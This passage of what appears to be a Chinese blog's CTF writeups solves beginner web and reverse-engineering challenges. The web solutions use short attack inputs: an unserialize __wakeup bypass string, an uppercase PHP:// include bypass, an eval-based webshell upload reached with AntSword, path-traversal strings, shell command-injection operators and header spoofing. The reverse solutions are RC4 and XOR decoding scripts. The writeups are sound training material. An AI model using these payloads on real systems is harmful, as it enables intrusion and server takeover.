src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905153458.png\" title=\"\" alt=\"\" width=\"386\">\n\n这题最开始做的时候确实摸不到头脑，进去之后是一个thinkphp的页面，并且提示你版本是v5，然后直接拿去Google，并且结合题目名字为phprce，则应该是找漏洞。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905153610.png)\n\n找到v5的漏洞，直接用一下看看有没有效果\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905153630.png\" title=\"\" alt=\"\" width=\"531\">\n\n可以看到命令成功执行，RCE成功\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905153707.png)\n\n之后就是直接ls / 然后找到flag cat一下就可了，得到flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905153807.png)\n\n## 六、unserialize3\n\n<img src=\"file:///C:/Users/打工人/AppData/Roaming/marktext/images/2023-09-05-15-41-38-image.png\" title=\"\" alt=\"\" width=\"375\">\n\n结合题目名字unserialize（反序列化）可以得知这题应该和序列化与反序列化有关。进入网址，如下，发现是php代码，则直接去Google搜索php反序列化，我参考的是[这篇文章](https://www.cnblogs.com/youyoui/p/8610068.html)。\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905154105.png\" title=\"\" alt=\"\" width=\"499\">\n\n然后根据代码是如果触发了wakeup函数，就会认为是恶意代码，这也就说明了我们需要绕过wakeup函数才可以得到flag。然后后面是？code=，也就说明让我们自己补充后面的代码使得可以绕过wakeup函数。然后通过Google搜索得到**wakeup方法的漏洞**：\n\n若在对象的魔法函数中存在的__wakeup方法，那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法，但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。则先补全一下代码，然后输出一下序列化后的数据\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905164723.png)\n\n则可以改为O:4:\"xctf\":2:{s:4:\"flag\";s:3:\"111\";}进行输入，就可以得到flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905164832.png)\n\n## 七、Web_php_include\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905191820.png\" title=\"\" alt=\"\" width=\"401\">\n\n这题进入环境是php代码，如下\n\n```php\n<?php\nshow_source(__FILE__);\necho $_GET['hello'];\n$page=$_GET['page'];\nwhile (strstr($page, \"php://\")) {\n    $page=str_replace(\"php://\", \"\", $page);\n}\ninclude($page);\n?>\n```\n\n显然是文件包含漏洞，搜索一下，主要参考下面这篇文章\n\n[✔PHP文件包含漏洞全面总结 - Zeker62 - 博客园 (cnblogs.com)](https://www.cnblogs.com/Zeker62/p/15322771.html#php%E4%BC%AA%E5%8D%8F%E8%AE%AE)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905192232.png)\n\n利用php://input写入我们的代码，但是本题过滤掉了php://,这里我们就可以用大写来绕过这个判断，因此输入如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905192338.png)\n\n代码注入成功，并且执行了我们的代码，可以发现flag所在的文件，直接cat一下，就可以发现flag\n\n## 八、upload1\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905203924.png\" title=\"\" alt=\"\" width=\"418\">\n\n通过这题熟悉了一些中国蚁剑的用法，感觉还是很nb的。做题过程中主要参考文章如下：\n\n[CTF-WEB：经典文件上传漏洞 博客园 (cnblogs.com)](https://www.cnblogs.com/linfangnan/p/15784968.html)\n\n首先进入题目，抓包一下，发现部分源码，可以发现上传的文件后缀必须为jpg和png，其他都是无效的。同时也没有做更多限制，所以这题难度还是比较小的。\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905204242.png\" title=\"\" alt=\"\" width=\"404\">\n\n直接新建txt文件，写php代码，然后改后缀为jpg，则发现可以上传。这时候抓包一下：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905204614.png)\n\n直接在request头里面把1.jpg改为1.php就可以绕过了\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905204532.png)\n\n然后1.php放的是一句话木马，关于这句话的解释可就大有来头了，new bing如是说：\n\n**这句代码是一个 PHP 的一句话木马，它的作用是执行 HTTP POST 方式传递的 ant 参数中的 PHP 代码。它的工作原理是：**\n\n- 首先，使用 eval() 函数，它可以将一个字符串作为 PHP 代码来执行。\n- 然后，使用 $_POST[‘ant’] 获取 HTTP POST 方式传递的 ant 参数的值，这个值是一个字符串，可能包含任意的 PHP 代码。\n- 最后，将 $_POST[‘ant’] 的值作为 eval() 函数的参数，执行其中的 PHP 代码。\n\n**这样，攻击者就可以通过向服务器发送 HTTP POST 请求，携带 ant 参数，来远程执行任意的 PHP 代码。这是非常危险的，因为攻击者可以利用这个漏洞来获取服务器的敏感信息，或者对服务器进行破坏或控制。**\n\n然后上传成功后就是链接中国蚁剑了，找到他返回的文件名当做url地址，ant为密码，他就自动获得shell了，很简单。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905204827.png)\n\n拿到shell！之后就是去上层找到flag.php打开就可发现flag\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905204910.png\" title=\"\" alt=\"\" width=\"530\">\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905204944.png\" title=\"\" alt=\"\" width=\"526\">\n\n## 九、warmup\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230905205215.png\" title=\"\" alt=\"\" width=\"447\">\n\n先打开环境发现就一张图片，没有其他信息，老规矩，先去burp抓包分析，发现提示source.php\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906081001.png\" title=\"\" alt=\"\" width=\"434\">\n\n然后打开source.php发现源码，可以发现还有另一个hint.php，打开发现提示flag的位置\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906081053.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906081214.png)\n\n**flag not here, and flag in ffffllllaaaagggg**\n\n接下来就继续看source.php源码了\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906091424.png\" title=\"\" alt=\"\" width=\"439\">\n\n根据源码容易分析出，输入的file参数需要是字符串并且可以通过检测，而且从检测函数容易得到只要：\n\n- 第一个if语句：输入的为字符串并且在白名单里面\n\n- 第二个if语句则截取输入在？前的部分检测是否在白名单里面\n\n- 第三个 if 语句前先对变量url解码，然后和第二个if语句一样进行检验\n\n这样容易看出我们可以构建hint.php?dddd类似的输入来绕过判断进入include，并且结合之前的提示，我做的时候是挨个试，例如\n\nhint.php?../ffffllllaaaagggg   hint.php?../../ffffllllaaaagggg\n\nhint.php?../../../ffffllllaaaagggg 最后是hint.php?../../../../../ffffllllaaaagggg成功出现flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906101236.png)\n\n接下来是**为什么hint.php?../../../../../ffffllllaaaagggg可以起效果**？\n\n根据php文档，如下，容易看出只要出现../，include函数就会默认以它开头，而忽略掉hint.php，这就是可以起效果的原因。\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906101353.png\" alt=\"\" width=\"494\" data-align=\"inline\">\n","tags":["ctf回顾"],"categories":["ctf","攻防世界新手题"]},{"title":"攻防世界ctf-web新手引导题前十题wp","url":"/2023/07/30/web0/","content":"\n> 最近做逆向题还是有点痛苦，又逐渐回想起当初玩web时候的感觉了。。所以我准备还是逆向和web一起搞，近期先高强度更新一波web再说。\n\n## 一、robots\n\n这题算是让我学到了robots协议是什么，简单理解就是爬虫协议，搜索引擎访问网站的时候第一个访问的协议，就是在里面标明哪些不可以被爬取，而一般都在根目录下面的robots.txt\n\n如下面这题，提示给了robots协议，然后就进入场景，直接进入robots.txt目录\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230731163139.png\" title=\"\" alt=\"\" width=\"353\">\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230731163225.png\" title=\"\" alt=\"\" width=\"358\">\n\n发现他不让访问这个php文件，看这个格式显然就是flag，然后进入该目录，得到flag\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230731163321.png\" title=\"\" alt=\"\" width=\"252\">\n\n## 二、backup\n\n这题提示是找备份文件，我就直接去网上搜备份文件的格式，搜到常见的备份文件后缀名有：“.git” 、“.[svn](https://so.csdn.net/so/search?q=svn&spm=1001.2101.3001.7020)”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf”，\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230731163814.png\" title=\"\" alt=\"\" width=\"360\">\n\n然后我就挨个在index.php后面加这些后缀试，当试到bak的时候提示下载了一个文件，打开文件发现flag\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230731163944.png\" title=\"\" alt=\"\" width=\"340\">\n\n## 三、cookie\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230731164609.png\" title=\"\" alt=\"\" width=\"322\">\n\n我发现攻防世界的web题比逆向题好多了啊。。web题每一道题都能学到知识点。\n\n这题就是提示cookie，那之前直接F12控制台的方法肯定就不行了，我就打开burpsuite抓包，第一次抓包如下\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230731164747.png\" title=\"\" alt=\"\" width=\"343\">\n\n提示我看cookie.php文件，直接打开：根据提示发现flag\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230731164833.png\" title=\"\" alt=\"\" width=\"330\">\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230731164900.png\" title=\"\" alt=\"\" width=\"332\">\n\n## 四、disabled_button\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230803120939.png\" title=\"\" alt=\"\" width=\"364\">\n\n这题我也是百思不得其解，最后百度了一下，给我打开了一扇新世界的大门，F12还可以这样用。具体做法就是进入网页，打开控制台，发现按钮是被一个disabled给限制了，所以就直接把disabled给删了。。再点一下按钮，就成了。很简单\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230803122147.png\" title=\"\" alt=\"\" width=\"237\"><img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230803122203.png\" title=\"\" alt=\"\" width=\"196\">\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230803122219.png\" title=\"\" alt=\"\" width=\"338\">\n\n得到flag：**cyberpeace{ecdd98d4be9a96b82b45b5cd15bda412}**\n\n## 五、get_post\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230803121709.png\" title=\"\" alt=\"\" width=\"314\">\n\n这题十分简洁明了，进去之后发现如下提示\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230803121738.png\" title=\"\" alt=\"\" width=\"335\">\n\n那就直接burpsuite，发送到repeater，提交如下\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230803121831.png\" title=\"\" alt=\"\" width=\"224\"><img title=\"\" src=\"file:///C:/Users/打工人/AppData/Roaming/marktext/images/2023-08-03-12-19-22-image.png\" alt=\"\" width=\"268\">\n\n然后反馈如上，那就再来一个，并改成post，就会回复flag：\n\n**cyberpeace{cade2d4f80d9fb03404ea5776b70c55b}**\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230803121949.png\" title=\"\" alt=\"\" width=\"439\">\n\n## 六、weak_auth\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230804133252.png\" alt=\"\" width=\"335\">\n\n这题就是先进入网址，发现是一个登录页面，先随便输入一下，弹到下面的网页，发现有check.php目录，然后F12，发现提示\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230822102059.png\" title=\"\" alt=\"\" width=\"394\">\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230822102158.png)\n\n根据dictionary，就知道需要密码爆破了，然后用burpsuite爆破就好\n\n关于爆破步骤，第一次用还是有点不太熟练。先随便输入一下用户名和密码，找到request，如下，这样就找到了爆破的位置，发送到intruder，然后这题是已经知道账户名为admin，所以只需要爆破密码就行了\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230822102517.png\" title=\"\" alt=\"\" width=\"319\">\n\n如下，爆破位置在1122处\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230822102718.png\" title=\"\" alt=\"\" width=\"615\">\n\n然后如果已经有字典了的话直接加载字典，用simple list方式爆破，就会爆破出来密码为123456，输入进去得到flag\n\n## 七、simple_php\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230822105153.png\" title=\"\" alt=\"\" width=\"359\">\n\n这个是一段php代码，很坑，主要涉及字符串转换，经过实测这个php版本应该是8.0之前的。先看代码\n\n```php\n﻿<?php\nshow_source(__FILE__);\ninclude(\"config.php\");\n$a=@$_GET['a'];\n$b=@$_GET['b'];\nif($a==0 and $a){\n    echo $flag1;\n}\nif(is_numeric($b)){\n    exit();\n}\nif($b>1234){\n    echo $f﻿lag2;\n}\n?>\n```\n\n目的就是要一起输出flag1和flag2，看条件，a需要为0且a的布尔值为1，然后由于是两个=，所以不是强比较，所以可以把a设成abcd，任意字符串就行，php在8.0之前的版本没有弱比较这个概念，会先尝试把abcd转换为数字，发现转换不了就返回0，符合a==0，之后由于任意的字符串布尔值均为true，所以第一个判断可以顺利通过。\n\n第二个判断则需要b不为数字且大于1234，所以可以设成9999ca，什么的，这样php在尝试转换数字的时候会从头尽可能的提取数字，并且9999ca也不是数字，就通过两个测试，获得flag\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230822105117.png\" title=\"\" alt=\"\" width=\"354\">\n\n## 八、command_execution\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828150222.png\" title=\"\" alt=\"\" width=\"305\">\n\n这题主要有关的知识点是ping，百度了一下也了解了一些相关的知识。\n\n简单理解一下，ping就是利用ip的唯一性，来检查两个ip地址之间是否连通以及时延多少。\n\n而这题里面说没有waf，则可以直接ping注入。\n\n下面参考文章：[本题题解](https://blog.csdn.net/m0_62094846/article/details/120937734)，[waf](https://www.cnblogs.com/realjimmy/p/12937247.html)\n\n[注入原理]\n\n| 的作用为将前一个命令的结果传递给后一个命令作为输入\n\n&&的作用是前一条命令执行成功时，才执行后一条命令\n\n掌握有关命令执行的知识\n\nwindows 或 linux 下:\n\ncommand1 && command2 先执行 command1，如果为真，再执行 command2\n\ncommand1 | command2 只执行 command2\n\ncommand1 & command2 先执行 command2 后执行 command1\n\ncommand1 || command2 先执行 command1，如果为假，再执行 command2\n\n命令执行漏洞（| || & && 称为 管道符）\n\n然后就可以先查看一下本地路径了\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828151901.png\" title=\"\" alt=\"\" width=\"250\"><img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828151952.png\" alt=\"\" width=\"300\">\n\n如上左图，发现路径，按照经验找home，如上右图，发现flag，cat一下即可得到\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828152050.png\" title=\"\" alt=\"\" width=\"303\">\n\n## 九、xff_referer\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828152551.png)\n\n这题也是增长知识的一题。主要涉及知识点xff和referer，百度一下\n\n**X-Forwarded-For**是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段，也就是告诉web网址来访者的ip。\n\n**HTTP Referer**是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器该网页是从哪个页面链接过来的，服务器因此可以获得一些信息用于处理。简单地说，xff是告诉服务器当前请求者的最终ip的http请求头字段，通常可以直接通过修改http头中的X-Forwarded-For字段来仿造请求的最终ip\n\n也就是说， xff负责说明来源ip，referer负责说明来源网页链接，而且这两个都是可以伪造的，用法就是\n\n```\nX-Forwarded-For: ip地址\nReferer: 来源网址\n```\n\n如图，先按要求伪造ip地址，收到回复需要伪造来源网址，继续伪造即可获得flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828153214.png)\n\nflag如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828153255.png)\n\n## 十、Training-WWW-Robots\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828153441.png\" title=\"\" alt=\"\" width=\"375\">\n\n这题说实话是我最早做的web题，当时还不知道robots.txt是啥，就根据英文提示一步一步按照路径就解出来了，很简单。如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828153548.png)\n\n打开网页是让我们学习robots协议，前面也做过这样的题，robots协议就是爬虫规范协议，来阻断一些不规范的爬虫行为，然后直接按路径进入robots.txt，发现不可以访问的路径，直接进入就可获得flag\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828153718.png\" title=\"\" alt=\"\" width=\"252\"><img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230828153743.png\" alt=\"\" width=\"343\">\n\n## 十一、总结\n\n- robots协议是爬虫规范协议，有一个robots.txt放在根目录下面，需要的时候应该注意一下这个路径\n\n- 当跟备份文件有关的时候，要知道备份文件是在原文件名字基础上加入以下后缀：“.git” 、“.[svn](https://so.csdn.net/so/search?q=svn&spm=1001.2101.3001.7020)”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf”\n\n- 有些在前端代码动手脚的，可以直接F12改前端代码，没准有效果\n\n- $_GET[]获得的是request query里面的变量，就是在url中的变量\n\n说实话这篇文章我写了好久好久，中间因为实习的一些事情断了好久。今天可算是写完了。害\n\n下面，我将进入一段高产期（doge）\n","tags":["ctf回顾"],"categories":["ctf","攻防世界新手题"]},{"title":"攻防世界ctf-rev新手题","url":"/2023/07/27/rev2/","content":"\n## 一、insanity\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727163909.png\" title=\"\" alt=\"\" width=\"354\">\n\n经典拖进ida就有flag（这题目难度有3？），点进strs，得到flag：\n\n9447{This_is_a_flag}  果然是引导题的第一题，好简单\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727163955.png\" title=\"\" alt=\"\" width=\"337\">\n\n## 二、open-source\n\n这题附件是一个c文件，有点意思，好久没做过类似的题了。\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727165704.png\" alt=\"\" width=\"540\">\n\n很简单，就需要分析一下代码。\n\n就可以得到first = 0xcafe\n\nsecond % 17 = 8\n\nargv[3] = h4cky0u\n\n然后直接带入最后的式子运行一下就行了，如下\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727165855.png\" title=\"\" alt=\"\" width=\"509\">\n\nflag就是：c0ffee\n","tags":["ctf回顾","二进制初探"],"categories":["ctf"]},{"title":"攻防世界ctf-1000click/crypt/happyctf","url":"/2023/07/26/rev1/","content":"\n## 一、1000click\n\n这题ida完发现有一千多个函数，本来以为会很难，结果实际上很简单。\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726143159.png\" title=\"\" alt=\"\" width=\"424\">\n\n首先进入ida，我的思路是，这么多函数显然直接分析代码有点困难了。然后就shift+F12，找字符串，我第一感觉是先找flag，搜索一下，放弃了\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726143352.png\" alt=\"\" width=\"388\">\n\n然后打开程序\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726143431.png\" alt=\"\" width=\"401\">\n\n显然点击1000次也是不现实的，没准1000次之后也没有flag，但是发现，check之后会有提示，如下\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726143649.png\" title=\"\" alt=\"\" width=\"372\">\n\n他有一个error的报错信息，然后我就想着去ida里面搜一下，发现位置，点进去\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726143729.png\" alt=\"\" width=\"402\">\n\n发现对应函数，进入\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726143753.png\" title=\"\" alt=\"\" data-align=\"inline\">\n\n然后如下\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726143825.png\" alt=\"\" width=\"316\">\n\n发现判断函数，然后发现是判断与text比较，点进去text，发现一个flag，然后试了一下，发现对了，就结束了\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726143916.png)\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726143941.png\" title=\"\" alt=\"\" width=\"286\">\n\n#### 小结\n\n这题也算是给我一个新的经验了，对待程序类的题目，先根据程序里面的提示，去ida里面搜，直接看最后判断逻辑，没准就做出来了\n\n## 二、crypt\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726163858.png)\n\n这题，属实是折磨到我了。最开始我看就是对输入字符串进行一顿操作然后判断一下，这我熟悉啊，直接开始用python写脚本，后面发现越写越不对劲。先是拖进ida，找到main如下\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727130644.png\" alt=\"\" width=\"432\">\n\n很容易能发现sub140001120与sub140001140是关键函数，点进去发现如下\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727130810.png\" alt=\"\" width=\"436\">\n\n发现256这个数字，结合crypt这个标题，容易想到rc4这个算法，然后这个算法是对称加密算法（参考ctf-wiki）也就是有加密前或者加密后的字符串和key都可以解出对应的明文/密文\n\n发现是rc4加密算法之后就简单了，根据上面main函数的最后部分，先得到加密的密文，然后找一个rc4解密脚本，就结束了，下面是我在ctf-wiki上找到的脚本，还挺好用的\n\n```python\nimport base64\ndef rc4_main(key = \"init_key\", message = \"init_message\"):\n    print(\"RC4解密主函数调用成功\")\n    s_box = rc4_init_sbox(key)\n    crypt = rc4_excrypt(message, s_box)\n    return crypt\ndef rc4_init_sbox(key):\n    s_box = list(range(256))\n    print(\"原来的 s 盒：%s\" % s_box)\n    j = 0\n    for i in range(256):\n        j = (j + s_box[i] + ord(key[i % len(key)])) % 256\n        s_box[i], s_box[j] = s_box[j], s_box[i]\n    print(\"混乱后的 s 盒：%s\"% s_box)\n    return s_box\ndef rc4_excrypt(plain, box):\n    print(\"调用解密程序成功。\")\n    plain = base64.b64decode(plain.encode('utf-8'))\n    plain = bytes.decode(plain)\n    res = []\n    i = j = 0\n    for s in plain:\n        i = (i + 1) % 256\n        j = (j + box[i]) % 256\n        box[i], box[j] = box[j], box[i]\n        t = (box[i] + box[j]) % 256\n        k = box[t]\n        res.append(chr(ord(s) ^ k))\n    print(\"res用于解密字符串，解密后是：%res\" %res)\n    cipher = \"\".join(res)\n    print(\"解密后的字符串是：%s\" %cipher)\n    print(\"解密后的输出(没经过任何编码):\")\n    return cipher\na=[188, 197, 18, 125, 133, 35, 132, 113, 123, 57, 40, 2, 211, 81, 243, 44, 137, 43, 166, 44, 175, 9] #cipher\nkey=\"12345678abcdefghijklmnopqrspxyz\"\ns=\"\"\nfor i in a:\n    s+=chr(i)\ns=str(base64.b64encode(s.encode('\nutf-8')), 'utf-8')\nrc4_main(key, s)\n```\n\n运行完就是flag：flag{nice_to_meet_you}\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727140359.png)\n\n#### 小结\n\n这题主要的步骤应该是分析出是rc4加密算法，剩下的直接用脚本就行了\n\n## 三、happyctf\n\n这题做起来一点也不happy，刚下载附件的时候发现附带了一个pdb文件，对于从来没用过这个文件的我来说就直接战略性忽略了。但是后面才发现不带它直接分析是真滴折磨。完全不知道是干什么的。看了半天也不知道怎么做。最后加上了pdb，一下子就明朗了不少。至少知道了哪些函数是官方函数，是在干什么。\n\n下面是主要思路，点进main如下\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727161408.png\" title=\"\" alt=\"\" width=\"676\">\n\n先是判断长度，需要长度为24才可以继续判断\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727161505.png)\n\n这里很容易看明白，就是对输入逐字符进行操作，点进具体操作如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727161555.png)\n\n就是将每个字符都与0x14异或一下，并push_back到v里面，也就是存入v，然后返回main\n\n![](C:\\Users\\打工人\\AppData\\Roaming\\marktext\\images\\2023-07-27-16-17-05-image.png)\n\n上面是关键部分，先将字符串存入key，然后也是逐字符进行操作，但是操作对象是v，也就是上面异或之后的字符，进行判断，而这里如果操作函数返回0则会错误，所以要返回1，点进操作函数\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727161852.png)\n\n这里就是将key里面的字符与v9比较，不等则返回0，相等返回1. 而v9就是上面异或之后的字符\n\n**总结来说**，就是将我们的输入异或0x14之后，与key比较，不相等则错误。也就是将key逐字符异或0x14就得到了flag，脚本如下：\n\n```python\nx = list(\"rxusoCqxw{yqK`{KZqag{r`i\")\nflag = []\nfor i in range(0,24):\n    flag.append(chr(ord(x[i]) ^ 20))\nflag_ = ''.join(flag)\nprint(flag_)\n# flag如下 flag{Welcome_to_Neusoft}\n```\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230727162521.png)\n\n## 四、总结\n\n这上面三道题都对我来说有一定难度，但收获还是不小的。总结下来有下面几点：\n\n- gui类的题目，可以从中找到一些提示语句，然后直接去ida里面搜索对应语句，找到对应函数，直接进入核心判断逻辑语句\n\n- RC4的加解密题目，要关注256这个数字，如果有的话就要怀疑是不是RC4，是的话直接用已有的解密脚本做题\n\n- 如果附件带pdb一定要用，不然会很痛苦\n","tags":["ctf回顾"],"categories":["ctf"]},{"title":"攻防世界ctf - rev新手题","url":"/2023/07/20/1/","content":"\n> 最近实习中总有大把的时间闲着，我便趁着这段时间好好的做一做逆向的题目，希望可以提升一下自己吧。而且好像又重燃了对web的乐趣，所以我可能也会做一些web的题目。双修大法。\n\n## 一、Reversing-x64Elf-100\n\n很简单的逆向题，但这也算是好久以来第一个自己做出来的逆向题，需要好好记录一下。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2023-07-20-12-50-49-image.png)\n\n下载附件后就一个文件，先拖进exeinfop查一下壳和位数，然后直接拖进ida。\n\n按照以往的经验找到main函数，直接静态分析即可，发现主要判断逻辑在sub_4006FD中\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230720153104.png)\n\n进入之后发现如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230720153154.png)\n\n分析还是比较好分析的，但是这题主要时间花在了python代码的一些细节上，下面是解题脚本\n\n```python\ntag = list(\"Dufhbmf\")\ntag1 = list(\"pG`imos\")\ntag2 = list(\"ewUglpt\")\nflag = []\n\nfor i in range(0, 12):\n    if i % 3 == 0:\n        flag.append(chr(ord(tag[2 * (i // 3)]) - 1))\n    elif i % 3 == 1:\n        flag.append(chr(ord(tag1[2 * (i // 3)]) - 1))\n    elif i % 3 == 2:\n        flag.append(chr(ord(tag2[2 * (i // 3)]) - 1))\n\nresult_string = ''.join(flag)\nprint(result_string)\n```\n\n最后输出 如下，**Code_Talkers**即为本题flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230720154222.png)\n\n#### 小结\n\n主要是python代码上面，char型不能直接减一，需要先用ord()函数转成Ascii，而且强制转换在python里面是函数int（），需要括起来。而且字符串想改成字符数组需要用list()函数，往数组里面加需要用append()函数，而且字符数组想以字符串输出，需要用join函数。\n\n## 二、666\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230720154417.png)\n\n这题与上面题类似，只需静态分析即可，还是先拖进exeinfop，发现是64位，拖进ida，进行分析，先找到main函数，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230720163707.png)\n\n别看上来给了一个flag，按照以往经验，肯定不对xs，大致思路如下:\n\n先是存储输入到v5，然后进入主要函数encode进行处理，处理结果以地址形式放到s中，接下来是先判断输入的长度是否正确，然后与enflag比较，一样即证明输入正确。\n\n> 